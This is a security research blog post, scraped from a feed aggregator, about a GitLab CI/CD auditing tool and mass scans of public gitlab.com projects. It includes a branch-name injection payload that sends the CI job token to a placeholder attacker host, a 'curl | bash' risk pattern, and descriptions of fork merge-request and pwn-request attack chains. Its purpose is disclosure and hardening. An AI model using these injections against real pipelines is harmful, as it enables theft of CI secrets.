惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
量子位
博客园 - 叶小钗
Apple Machine Learning Research
Apple Machine Learning Research
U
Unit 42
IT之家
IT之家
F
Fortinet All Blogs
GbyAI
GbyAI
MongoDB | Blog
MongoDB | Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
大猫的无限游戏
大猫的无限游戏
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The Register - Security
The Register - Security
NISL@THU
NISL@THU
Webroot Blog
Webroot Blog
A
Arctic Wolf
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
V
Visual Studio Blog
Recent Announcements
Recent Announcements
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Blog — PlanetScale
Blog — PlanetScale
L
LangChain Blog
P
Palo Alto Networks Blog
Y
Y Combinator Blog
WordPress大学
WordPress大学
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
AWS News Blog
AWS News Blog
有赞技术团队
有赞技术团队
Engineering at Meta
Engineering at Meta
C
Cybersecurity and Infrastructure Security Agency CISA
aimingoo的专栏
aimingoo的专栏
Know Your Adversary
Know Your Adversary
Cyberwarzone
Cyberwarzone
Martin Fowler
Martin Fowler
The Hacker News
The Hacker News
P
Privacy International News Feed
T
Threat Research - Cisco Blogs
G
GRAHAM CLULEY
宝玉的分享
宝玉的分享
博客园 - 聂微东
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
The GitHub Blog
The GitHub Blog
S
Securelist
T
The Exploit Database - CXSecurity.com
T
Threatpost
Microsoft Azure Blog
Microsoft Azure Blog
The Cloudflare Blog
F
Full Disclosure

Black Hills Information Security, Inc.

Bad Habits: An ANTISOC Operation Same Problem, Different Angles: When Red Team and Blue Team Actually Talk to Each Other How to Identify and Exploit New Vulnerabilities Swapper – A Pure Regex Match/Replace Burp Extension A Practical Guide to BloodHound Data Collection Network Engineering Basics Signed, Trusted, and Abused: Proxy Execution via WebView2 Getting Started In Pentesting – Advice From The BHIS Pentest Lead Cloud Security: Tips and Resources for Securing the Cloud Lessons From A Chatbot Incident How to Lead Effective Tabletops Understanding GRC: How to Navigate Risks and Compliance Standards The “P” in PAM is for Persistence: Linux Persistence Technique Malware Analysis: How to Analyze and Understand Malware OSINT: How to Find, Use, and Control Open-Source Intelligence What to Do with Your First Home Lab When the SOC Goes to Deadwood: A Night to Remember Social Engineering and Microsoft SSPR: The Road to Pwnage is Paved with Good Intentions Common Cyber Threats Finding the Right Penetration Testing Company Deceptive-Auditing: An Active Directory Honeypots Tool The Curious Case of the Comburglar How to Set Smart Goals (That Actually Work For You) Inside the BHIS SOC: A Conversation with Hayden Covington Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation Why You Got Hacked – 2025 Super Edition Abusing Delegation with Impacket (Part 2): Constrained Delegation Abusing Delegation with Impacket (Part 1): Unconstrained Delegation GoSpoof – Turning Attacks into Intel Model Context Protocol (MCP) Bypassing WAFs Using Oversized Requests Getting Started with AI Hacking Part 2: Prompt Injection Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) DomCat: A Domain Categorization Tool Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) Microsoft Store and WinGet: Security Risks for Corporate Environments Default Web Content MailFail Commonly Abused Administrative Utilities: A Hidden Risk to Enterprise Security Stop Spoofing Yourself! Disabling M365 Direct Send Bypassing CSP with JSONP: Introducing JSONPeek and CSP B Gone Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource DNS Triage Cheatsheet GraphRunner Cheatsheet Burp Suite Cheatsheet Impacket Cheatsheet Wireshark Cheatsheet Hashcat Cheatsheet EyeWitness Cheatsheet Nmap Cheatsheet Netcat (nc) Cheatsheet Hunt for Weak Spots in Your Wireless Network with Airodump-ng from the Aircrack-ng Suite Detecting ADCS Privilege Escalation Vulnerability Scanning with Nmap Getting Started with NetExec: Streamlining Network Discovery and Access How to Use Dirsearch Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 3: Arcanum Cyber Security Bot How to Design and Execute Effective Social Engineering Attacks by Phone Abusing S4U2Self for Active Directory Pivoting Why Use a Macro Pad? Espanso: Text Replacement, the Easy Way Caging Copilot: Lessons Learned in LLM Security Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 2: Copilot Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 1: Burpference Intercepting Traffic for Mobile Applications that Bypass the System Proxy How to Root Android Phones Communicating Security to the C-Suite: A Strategic Approach Offline Memory Forensics With Volatility Getting Started with AI Hacking: Part 1 Go-Spoof: A Tool for Cyber Deception How to Test Adversary-in-the-Middle Without Hacking Tools Canary in the Code: Alert()-ing on XSS Exploits How to Hack Wi-Fi with No Wi-Fi Why Your Org Needs a Penetration Test Program Burp Suite Extension: Copy For Light at the End of the Dark Web Wi-Fi Forge: Practice Wi-Fi Security Without Hardware Avoiding Dirty RAGs: Retrieval-Augmented Generation with Ollama and LangChain Gone Phishing: Installing GoPhish and Creating a Campaign 5 Things We Are Going to Continue to Ignore in 2025 John Strand’s 5 Phase Plan For Starting in Computer Security Questions From a Beginner Threat Hunter GRC for Security Managers: From Checklists to Influence AI Large Language Models and Supervised Fine Tuning Attack Tactics 9: Shadow Creds for PrivEsc w/ Kent & Jordan One Active Directory Account Can Be Your Best Early Warning Introduction to Zeek Log Analysis Indecent Exposure: Your Secrets are Showing Creating Burp Extensions: A Beginner’s Guide Pitting AI Against AI: Using PyRIT to Assess Large Language Models (LLMs) The Top Ten List of Why You Got Hacked This Year (2023/2024) ICS Hard Knocks: Mitigations to Scenarios Found in ICS/OT Backdoors & Breaches Intro to Data Analytics Using SQL Finding Access Control Vulnerabilities with Autorize The Detection Engineering Process Cyber Risk Lessons We Can Learn From Hurricane Preparedness Intro to Desktop Application Testing Methodology What Is Penetration Testing? Adversary in the Middle (AitM): Post-Exploitation Pentesting, Threat Hunting, and SOC: An Overview
Auditing GitLab: The CI/CD Kill Chain
BHIS · 2026-06-03 · via Black Hills Information Security, Inc.

Phil has been a BHIS Security Consultant for 4 years. He currently serves in a development-focused role and enjoys building offensive security tools. Outside of work, Phil enjoys the arts (drumming & music, drawing & painting), as well as sports (golfing, bowling, and basketball).

In Part I of this series, we talked about plundering self-hosted GitLab instances on internal networks — cloning public repos, running Gitleaks, and combining it all into a nice spreadsheet of secrets. We used Python scripts and a Go program, duct-taped together with the enthusiasm of a developer who just learned what subprocess.call does. At the end of that post, I mentioned that all that logic really should be combined into a single tool.

Well, good neighbors, I took my own advice.

Welcome to GoGatoZ — a purpose-built Go tool for GitLab CI/CD security auditing that can perform and automate the entire CI/CD kill chain along with everything those one-off scripts did and then some. In this blog post, we’re going to do something a little ambitious: we’re going to point GoGatoZ at gitlab.com and run three large-scale scans: first a broad sweep using generic DevOps keywords, then a targeted scan of public projects associated with Fortune 500 companies from a public 2023 dataset on GitHub, and finally an industry-targeted scan of law firms, financial services, logistics, and trucking companies. We’ll also walk through how we built a false positive analysis workflow to separate real findings from noise. Across all three scans, we analyzed 3,757 public projects and found 7,331 security findings, including 1,580 HIGH severity issues.

But first, we must give credit where credit is due. I’d like to take a moment to shout out these amazing presentations on CI/CD hacking GitHub Actions. Without these talks and tools, this blog/tool would not have been possible. GoGatoZ was built on the shoulders of giants:

A sequence of words that I’ve heard:

Our CI/CD pipelines are fine. Nobody is looking at those YAML files.

– Mr. Senior DevOps Engineer

Verily, I tell you good neighbor, that we are absolutely looking at those YAML files.

Why CI/CD Pipelines?

In Part I, we focused on secrets buried in source code (hardcoded credentials, API keys, the usual suspects). But here’s the thing: the .gitlab-ci.yml file is where a lot of the “real” magic happens. It’s the blueprint for your entire build, test, and deployment pipeline. And if it’s misconfigured, an attacker doesn’t need your source code secrets. They can inject commands, poison artifacts, hijack runners, maintain persistent access, and exfiltrate CI variables that never touch a single line of application code.

Spoiler alert: A shocking number of public GitLab projects have CI/CD misconfigurations that are totally exploitable.

Supply chain attacks are all the rage these days and I have debated quite a bit on whether I should release this tool, as it can be abused in the wrong hands… but so can pretty much everything else. Let’s just hope I don’t get Nightmare Eclipsed.

The Tool: GoGatoZ

GoGatoZ is a Go port of Gato-X (which targets GitHub Actions), adapted for GitLab CI/CD. It has five operational modes:

  • Search — Discover GitLab projects via the API with filters (language, topic, path patterns, code content)
Gogatoz CTF Search Command in Action Unauthenticated Public Search
  • Enumerate — Scan `.gitlab-ci.yml` configs for vulnerabilities with recursive include resolution.
GoGatoZ CTF Enumerate Example Findings Output (Redacted)
  • Parse — Transform output locally (deduplication, format conversion) without GitLab access
  • Attack — Exploit misconfigurations (CI injection, secrets exfiltration, runner targeting)
GoGatoZ CTF Attack Example
  • Pivot – Chains together enumeration, attack, and credential harvesting in a Breadth-First Search (BFS) loop.
Gogatoz CTF Pivot Example Breadth-First Search (BFS) Pivot Loop Partial Output

GoGatoZ also ships with a Model Context Protocol (MCP) server, which means you can plug it directly into AI-assisted workflows. Think of it as giving your AI coding assistant the ability to search GitLab, enumerate CI/CD vulnerabilities, and store results in a SQLite database — all through natural language. I used the MCP server extensively in this research, and it made the whole process feel less like running a scanner and more like having a conversation with one.

But wait, there’s more! GoGatoZ also fully supports socks5 proxies, both authenticated and unauthenticated.

For this audit, we only used Search, Enumerate, Parse, and Report. We left Attack mode in the holster, but I have created a full CTF with sequential flags and labs that you can execute the full attack chain against in my course, A Hacker’s Guide to CI/CD: Taking Advantage of the SDLC.

Now without further ado, as Pastor Manul Laphroaig would say, PoC || GTFO.

Methodology

I ran this audit of gitlab.com in three phases to get broad coverage, targeted depth, and industry-specific insight. Parts of this blog are heavy on the scan results/statistics/metrics so apologies in advance.

Phase 1: The Broad Sweep — DevOps Keyword Search

Before we went after specific companies, we wanted to understand the general state of CI/CD security on gitlab.com. We searched for public projects using 20 generic DevOps-related keywords, things like devops, staging, pipeline, oolang, kubernetes, ansible, terraform, deploy, ci-cd, and similar terms that tend to surface projects with active CI/CD configurations. We also filtered projects that had a .gitlab-ci.yml file, because scanning projects without pipelines is beyond the primary focus of this tool.

Gogatoz search --query "devops" --visibility public --format jsonl \
  --gitlab-url https://gitlab.com --path-exists .gitlab-ci.yml \
  --per-page 100 --max-pages 5

This gave us 1,917 search results, which after de-duplication and enumeration yielded 1,715 unique projects to scan.

Phase 1 Results

Gogatoz Security Report (gitlab.com) (Redacted)

Sixty-four percent of projects had at least one security finding. The worst offender? A project called REDACTED with 363 findings — 200 of them HIGH severity — across 208 CI jobs and 8 includes.

Gogatoz HTML Report Exploitable Project Attack Commands (Redacted)

Other notable projects from the broad sweep included REDACTED forks (120+ findings each), REDACTED forks (98 findings), and GitLab’s own Environment Toolkit forks (61 findings each).

Phase 2: The Fortune 500 Targeted Scan

With the broad sweep confirming that CI/CD misconfigurations are everywhere, we wanted to see what the picture looks like when you search for projects associated with specific enterprises. I grabbed the 2023 Fortune 500 dataset — all 500 companies from REDACTED at #1 to REDACTED at #500.

We (Claude Code and I) fed each company name as a search query into GoGatoZ (via the GoGatoZ MCP server):

gogatoz search --query "REDACTED" --visibility public --format jsonl \
  --gitlab-url https://gitlab.com --per-page 20 --max-pages 1

Now, 500 companies is a lot of API calls. We skipped 38 overly generic names that would produce nothing but noise — “Apple” returns every iOS tutorial ever written, “Target” returns… well, everything with the word “target” in it, and “Ball” is just chaos. You get the idea.

For the remaining 462 companies, we automated the search and deduplicated the results by project ID using GoGatoZ’s parse dedup subcommand.

  • Results: 1,738 unique public projects discovered.

On an amusing side-note anecdote, a lot of these projects are interview assignments, homework projects, and code challenges. Searching for “Goldman Sachs” gives you a graveyard of abandoned take-home assessments. Searching for “Starbucks” returns an army of clone projects from what appears to be the same e-commerce course. “Boeing” returns flight simulators. The internet is a place.

Enumerate All the Things

This is where GoGatoZ really shines. For each of the 1,738 projects, we fetched and parsed their .gitlab-ci.yml configurations, including recursive resolution of include directives up to 2 levels deep:

gogatoz enumerate -i project_paths.txt --format jsonl \
  --gitlab-url https://gitlab.com --follow-includes \
  --include-depth 2 --concurrency 10 --timeout 30s

GoGatoZ checks for:

  • Supply chain risks — unpinned project includes, unverified CI components
  • Runner exposure — self-hosted runners accessible to untrusted pipelines
  • Injection vectors — un-sanitized CI variables in scripts, risky remote script execution
  • Secret leakage — hardcoded credentials in CI config, artifacts without expiration
  • Fork MR risks — merge request pipelines that run without fork protections
  • Artifact poisoning — consuming build artifacts without integrity verification

The whole scan of 1,738 projects completed in about 10 minutes.

Phase 2 Results

MetricCount
Fortune 500 companies searched500
Unique projects discovered1,738
Projects with CI/CD pipelines286 (16%)
Projects with security findings190 (10%)
Total findings455
SeverityCount
HIGH100
MEDIUM133
LOW222

Phase 3: Industry Vertical Targeting

For our third scan, we wanted to go after specific industry verticals that handle sensitive data and where CI/CD misconfigurations could have outsized real-world impact. We targeted law firms, credit unions, mortgage brokers, trucking companies, logistics companies, and financial services/fintech companies.

This time, we leaned entirely on the GoGatoZ MCP server. Rather than writing shell scripts, we had the AI assistant drive the entire workflow — searching for projects, deduplicating results, and running enumeration — all through the MCP interface. We used 20 keyword queries across the target verticals, all filtered with path_exists: “.gitlab-ci.yml” to ensure we only hit projects with CI/CD pipelines.

Search Terms Used:

"law firm", "lawfirm", "credit union", "mortgage",
"mortgage broker", "trucking", "logistics", "fintech", "banking",
"freight", "lending", "mortgage lending", "logistics shipping",
"fintech financial services", "banking investment", "trucking freight",
"fleet management", "warehouse fulfillment", "wealth management"

Phase 3 Raw Results

MetricCount
Unique projects discovered304
Projects with CI/CD pipelines301 (99%)
Projects with security findings201 (66%)
Total findings568
SeverityCount
HIGH144
MEDIUM152
LOW272

The 66% finding rate matched almost exactly what we saw in Phase 1’s broad sweep, further confirming that roughly two-thirds of public GitLab projects with CI/CD pipelines have security misconfigurations regardless of what industry keyword brought you there.

But here’s where things got interesting. When we started digging into the results, we realized something that every security researcher eventually learns: “Not all findings are true positives.”

The False Positive Problem

If you run a large-scale automated scan and blindly report the raw numbers, you’re going to have a bad time. Or more accurately, your report readers are going to have a bad time, because a big chunk of those numbers are noise.

In Phase 3, we performed a systematic false positive analysis and found that 41% of projects with findings were all noise. The raw number of 568 findings across 201 projects dropped to roughly 350 unique findings across 118 real projects after filtering. Here’s the breakdown of what we found.

Noise Category 1: SEO Spam Repos

The single biggest source of noise in the “mortgage” keyword results was a single GitLab user (REDACTED) who had created 26 repositories with names like bestmortgagelenderforfirsttimehomebuyerswhattolookfor and whyrncmortgageblendersforconstructionlandisyourtopchoiceforcommercialhardoneyloans. These are SEO keyword-stuffing blogs deployed via GitLab Pages. They all have .gitlab-ci.yml files (for Pages deployment), and they all trigger ARTIFACTS_NO_EXPIRE findings because GitLab Pages requires artifacts.

Similarly, 7 repos under different lower*mortgage user accounts all contained an identical GetAccess project with identical findings. And 3 repos under different usernames all had the same trucking-companies-near-me SEO blog.

48 projects in total fell into this category. That’s nearly a quarter of all projects with findings. They’re all real .gitlab-ci.yml configurations; they just have nothing to do with actual mortgage brokers or trucking companies.

Noise Category 2: Fork Clusters

The “REDACTED” project REDACTED appeared 8 times under 8 different GitLab users, each fork inheriting the same 4-5 RISKY_REMOTE_SCRIPT findings. The REDACTED appeared 3 times with identical 18-finding profiles. And REDACTED appeared 3 times with identical finding sets.

In total, we identified 16 fork clusters across 42 projects. After deduplication (keeping one representative per cluster), we collapsed those 42 projects down to 16 — eliminating 26 duplicate result sets.

Noise Category 3: GitLab Demo Repos and Student Projects

A total of 9 projects were GitLab’s own demonstration repos ( REDACTED /*, REDACTED-* ) — official tutorials and demo apps that intentionally showcase CI/CD features. Findings in these are real but intentional.

Ironically, one of these demos — REDACTED — had 18 findings including PWN_REQUEST_DEPLOYMENT, PRIVILEGED_RUNNER_RISK, and VARIABLE_INJECTION. These are demo projects that developers clone and learn from.

Another 12 projects were student coursework — fintech homework assignments, parking reservation exercises, and university challenge submissions.

Noise Category 4: False Positive Detections

The most interesting category: findings where the scanner itself was technically wrong.

GoGatoZ’s PLAINTEXT_SECRET detection flags CI variables whose names contain words like “SECRET”, “TOKEN”, or “KEY” and whose values aren’t CI variable references. This caught 12 false positives where the “secret” was, SECRET_DETECTION_ENABLED=true — a GitLab feature flag that enables secret scanning. The variable name contains “SECRET” and the value isn’t a $CI_ reference, so the heuristic triggers. But it’s not a secret — it’s a Boolean configuration toggle.

This accounted for more than half of all PLAINTEXT_SECRET findings in Phase 3.

What Was Left: The Real Findings

After stripping away all the noise, the verified high-confidence findings painted a clearer picture:

IndustryFindingRisk
LogisticsFORK_MR_UNPROTECTEDFork MRs trigger pipelines with access to CI vars
FintechINCLUDE_PROJECT_UNPINNEDCI templates pulled without pinned ref
ComplianceFORK_MR_UNPROTECTED + DB_PASSWORDDatabase password in CI + no fork protection
LendingSIGNING_KEY in job varsSigning key hardcoded in CI config
BankingARTILLERY_API_KEY in job varsLoad testing API key exposed
BankingSNYK_TOKEN in job varsSecurity scanner token hardcoded
LogisticsPOSTGRES_PASSWORD + FORK_MRDatabase credential + unprotected forks
Financial regulatoryCI components + plaintext secretRegulatory reporting with exposed config

The takeaway: after false positive removal, the remaining findings were more actionable and more concerning. Real secrets (database passwords, API keys, signing keys) in real fintech and banking projects. Unprotected fork MR pipelines in logistics platforms handling actual freight data.

Building a False Positive Workflow with Claude Code Skills

Here’s where things get meta. Rather than performing this false positive analysis as a one-off exercise, we built it into a reusable Claude Code skill — a structured instruction set that teaches the AI assistant how to systematically filter enumerate results.

The skill implements a five-step pipeline:

1. Load results — from the MCP SQLite database, JSONL files, or raw JSON

2. Apply finding-level FP rules — suppress known false positive patterns (like SECRET_DETECTION_ENABLED)

3. Detect noise projects — classify repos as SEO spam, fork clusters, demos, or student work

4. Deduplicate fork clusters — group by repo base-name and finding set similarity, collapse to single entries

5. Produce adjusted report — raw vs. adjusted numbers with full classification

The skill includes ready-to-use jq filters for each step. For example, fork cluster detection:

jq 'map({basename: (.path | split("/") | last),
         finding_ids: [.findings[].id] | sort | join(",")}) |
    group_by(.basename) |
    map(select(length > 1)) |
    map({repo: .[0].basename, count: length,
         unique_sets: ([.[].finding_ids] | unique | length)})'

Now, whenever we run a large-scale scan, we can invoke the false positive skill and get adjusted numbers in minutes rather than spending hours manually categorizing noise. The skill is stored as a project-level .claude/skills/filter-false-positives.md file, meaning it persists across sessions and is available to anyone working with the GoGatoZ codebase.

This is the kind of thing that makes the MCP + Claude Code combination genuinely powerful for security research. The scanner finds the issues. The AI assistant drives the workflow. The skill captures institutional knowledge about what’s real and what’s noise. And each subsequent scan benefits from everything we learned in previous ones, as then we can tell Claude Code, “From everything that you have learned from running the filter-false-positives skill, where feasible, implement programmatic false-positive filtering in the codebase to help reduce false positives overall.” …or something along those lines.

The Combined Picture

Alright, let’s get to the sweet juicy findings. Across all three phases combined, here’s the damage:

MetricPhase 1 (Broad)Phase 2 (Fortune 500)Phase 3 (Industry)Combined
Projects scanned1,7151,7383043,757
With CI/CD pipelines1,6802863012,267
With security findings1,1071902011,498
Total findings6,3084555687,331
HIGH severity1,3361001441,580
MEDIUM severity2,4771331522,762
LOW severity2,4952222722,989

On public gitlab.com. That’s a lot of findings from a few 10-minute scans. Since writing this blog, I have since updated the findings severity categories to include critical and informational as well, as a good neighbor should.

UPDATE: Since writing this blog (sometime back in March 2026), Claude Code Opus 4.8 really doesn’t like this project anymore and may refuse to play nice driving the MCP server ¯\_(ツ)_/¯.

Remember: Phase 3’s false positive analysis showed that roughly 40% of findings in a keyword-targeted scan are noise. Even if we apply that same discount across all three phases (which is conservative — Phase 1 had cleaner targeting), we’re still looking at ~4,000 real findings and ~950 genuine HIGH severity issues.

Highlights (or Lowlights, Depending on Your Perspective)

Fork MR Attacks: The #1 Finding and Gift That Keeps on Giving (MWN Request)

1,971 findings — the single largest vulnerability class. Merge request pipelines from forks running without any protection. This means an attacker can fork a public project, modify the .gitlab-ci.yml in their fork, open a merge request, and the target project’s pipeline runs their modified code. If that pipeline has access to CI variables (secrets, deploy tokens, API keys), those are potentially exposed.

One project from the broad sweep had 363 total findings, with 200 of them being HIGH severity fork MR issues across 208 CI jobs.

Privileged Runners: 259 Container Escapes Waiting to Happen

This one jumped dramatically from Phase 1. 259 projects are running CI jobs on Docker runners with privileged mode enabled. A privileged Docker container can escape to the host, meaning an attacker who can trigger a pipeline (via fork MR, for instance) potentially gets root on the runner host. Combine this with the fork MR finding and you’ve got an attack chain that goes from “random merge request” to “root on your build infrastructure.”

curl | bash in Production Pipelines

150 projects across all three scans are executing remotely hosted scripts directly in their CI pipelines. You know, the classic:

script:
  - curl -sSL https://some-remote-url.com/install.sh | bash

If that URL gets compromised, your pipeline is now running whatever the attacker wants. This is supply-chain security 101, and it’s still happening in 2026.

Variable Injection: Your Branch Name is a Weapon

288 findings where CI variables like $CI_COMMIT_REF_NAME (the branch name) or $CI_MERGE_REQUEST_TITLE are interpolated directly into shell scripts without sanitization. An attacker who can control a branch name can inject arbitrary commands:

# What the developer wrote:
docker build --tag myapp:$CI_COMMIT_REF_NAME .

# What the attacker's branch name looks like:
;$(curl attacker.com/exfil?token=$CI_JOB_TOKEN)

It’s crucial to sanitize your inputs, even in CI/CD.

Self-Hosted Runners in Public Projects

177 projects with self-hosted runners (identified by custom tags like mac-sh, ansible, shell_executor, etc.) that are accessible to untrusted pipeline triggers. A self-hosted runner in a public project is essentially giving the internet a shell on your infrastructure. In the broad sweep, 525 projects had tagged runners, and 164 of those had runners broadly exposed without proper access controls.

Pwn-Request Deployments

96 projects have deployment jobs that can be triggered via merge request events. This is the “pwn request” attack pattern — an attacker opens a MR to a project, and that MR triggers a deployment job that has access to production secrets, deployment tokens, or cloud credentials. The deployment runs the attacker’s code:

Game over (or let the games begin?).

Comedic Relief: PWN Request refers to this type of attack vector for GitHub Actions specifically because GitHub uses Pull Requests. GitLab uses Merge Requests, so I’m coining the phrase MWN Request.

Plaintext Secrets: Still Happening in 2026

347 findings of hardcoded secrets across CI configurations and job variables. Passwords, API keys, tokens — sitting right there in the .gitlab-ci.yml for anyone with a browser and a GitLab account (or no account at all, if the project is public) to see. We covered this pattern extensively in Part I, and it’s still alive and well in CI/CD configs.

Of course, after false positive analysis, roughly 12 of these are SECRET_DETECTION_ENABLED feature flags rather than actual secrets. But the remaining ~335? Those are likely real credentials in public CI/CD configurations.

To be fair, many of these are forks and sample repos, but sample code has a nasty habit of being copy-pasted into production. And forks inherit the security posture of the upstream, including its misconfigurations.

The Bigger Picture

Now, I want to be transparent about something. The keyword-based search means many of these projects are not official Fortune 500 company repositories or actual law firm software. They’re personal projects, homework assignments, proof-of-concepts, and tutorials that happen to mention company names or industry terms. The search for “Pfizer” returns someone’s case study assignment. The search for “Tesla” returns a kilometer logger. “Walt Disney” returns wait-time scrapers for theme parks. And “mortgage” returns a whole lot of SEO spam.

But here’s the thing — and this is important: the vulnerabilities are real regardless of who owns the project. The same misconfigurations we found in random public projects are the exact same misconfigurations that exist in enterprise GitLab instances behind your firewall. The CI/CD anti-patterns don’t care whether you’re a Fortune 500 company or a college student.

And if you recall from Part I, internal GitLab instances with public projects are sometimes accessible without authentication. Combine the attack surface we discussed in Part I (unauthenticated repo access + secret scanning) with the CI/CD attack surface we’re discussing here (pipeline injection + runner exploitation + supply chain poisoning), and you have a very, very bad day for your blue team.

It should be noted that recent versions of GitLab since early 2025 have the public unauthenticated API endpoints for listing projects, groups, and users disabled by default.

The broad sweep confirmed it: when you specifically target projects with CI/CD pipelines, nearly two-thirds have security findings. The Fortune 500 scan confirmed it from a different angle: the problem is universal, not limited to any particular type of project or organization. And Phase 3’s industry scan confirmed it from yet another angle — while also teaching us that large-scale scan results need careful false positive analysis to be truly useful.

Remediation, Mitigation, and Prevention

Here is what you can do to make sure these CI/CD misconfigurations don’t happen to your organization:

Remediation

  • Pin all project `includes` to a specific tag or commit SHA — never use floating refs like `main` or `master`
  • Pin all public actions utilized in your pipelines to specific commit SHA hashes.
  • Pin all docker-compose images to sha256-hashes.
  • Ratchet does not currently support this but it might in the future…
    “Let me make a Pull Request right quick”
  • Remove hardcoded secrets from .gitlab-ci.yml — use GitLab CI variables (masked + protected) instead
  • Set `expire_in` on all artifact definitions to prevent indefinite data retention
  • Audit fork MR pipeline settings — disable fork MR pipelines or require approvals before running
  • Disable privileged mode on Docker runners unless absolutely required, and never in public projects

Mitigation

  • Restrict self-hosted runners to protected branches only and never attach them to public projects
  • Enable fork pipeline protections — GitLab offers settings to prevent fork MRs from accessing CI variables
  • Use `rules:` conditions to limit which pipeline sources can trigger sensitive jobs
  • Avoid `curl | bash` patterns — vendor scripts locally or use verified package managers
  • Separate deployment credentials from CI variables accessible to merge request pipelines

Prevention

  • Implement CI/CD security scanning in your pipeline — tools like GoGatoZ can be integrated into your security audit workflow. Ensure that versions are pinned to specific commit SHA hashes. Like we saw with the Trivy supply chain attack, even security scanners are susceptible to compromise.
  • Use GitLab’s built-in protections — protected branches, protected variables, and pipeline security settings
  • Educate your DevOps engineers — most of these findings stem from convenience patterns that become security liabilities
  • Run GoGatoZ against your own GitLab instance regularly as part of your defensive security program:
# Search for all projects in your GitLab instance
gogatoz search --gitlab-url https://your-gitlab.example.com \
--visibility public\
--per-page 50 \
--max-pages 0 \
--format jsonl > projects.jsonl

# Enumerate them for CI/CD vulnerabilities
gogatoz enumerate -i projects.jsonl --follow-includes \
--include-depth 3 --format jsonl > findings.jsonl

# Generate an interactive HTML report
gogatoz enumerate -i projects.jsonl --follow-includes \
--format html --only-findings > report.html

# Or use the MCP server for AI-assisted auditing
gogatoz mcp --db results.sqlite3

Closing Thoughts

In Part I, we showed you how to find secrets hiding in plain sight on internal GitLab instances. In Part II, we’ve shown you that the CI/CD configuration itself is the attack surface — and it’s an attack surface that most organizations aren’t auditing.

Our false positive analysis showed that roughly 40% of findings in keyword-targeted scans are noise: SEO spam, fork clusters, demo repos, and detection false positives. The discipline of separating signal from noise is what turns a vulnerability scan into actionable intelligence. We built that discipline into a reusable Claude Code skill so that every future scan starts smarter than the last one.

The tool is purpose-built for this kind of audit — whether you’re a penetration tester on an internal engagement, a security engineer hardening your organization’s GitLab instance, or a DevOps team that wants to know where the bodies are buried in your pipeline configurations.

Part of the reason I built GoGatoZ was because, as I mentioned at the end of Part I, all that one-off script logic really needed to be a proper tool. But GoGatoZ goes beyond just secret scanning — it understands CI/CD semantics. It resolves includes, follows the dependency chain, evaluates runner exposure, and identifies the kind of pipeline misconfigurations that Gitleaks, Trufflehog, and Nessus won’t tell you about. Nessus won’t tell you that your .gitlab-ci.yml is one fork merge request away from giving an attacker your deployment credentials, but GoGatoZ will.

Be on the lookout for CI/CD misconfigurations on your next penetration test or security audit! You may be surprised at what you might find. And if you’re on the defensive side, run GoGatoZ against your own infrastructure before someone else does.

The tool is open source. Go forth and do great CI/CD things!

Resources and References

Check out Phil’s Anti-Cast: How Hackers Attack CI/CD Pipelines!



Want to keep learning about CI/CD pipelines from Phil? Register for his live, 4-hour Antisyphon workshop taking place July 10, 2026 @ 10PM EDT.

CI/CD Exploitation and Hardening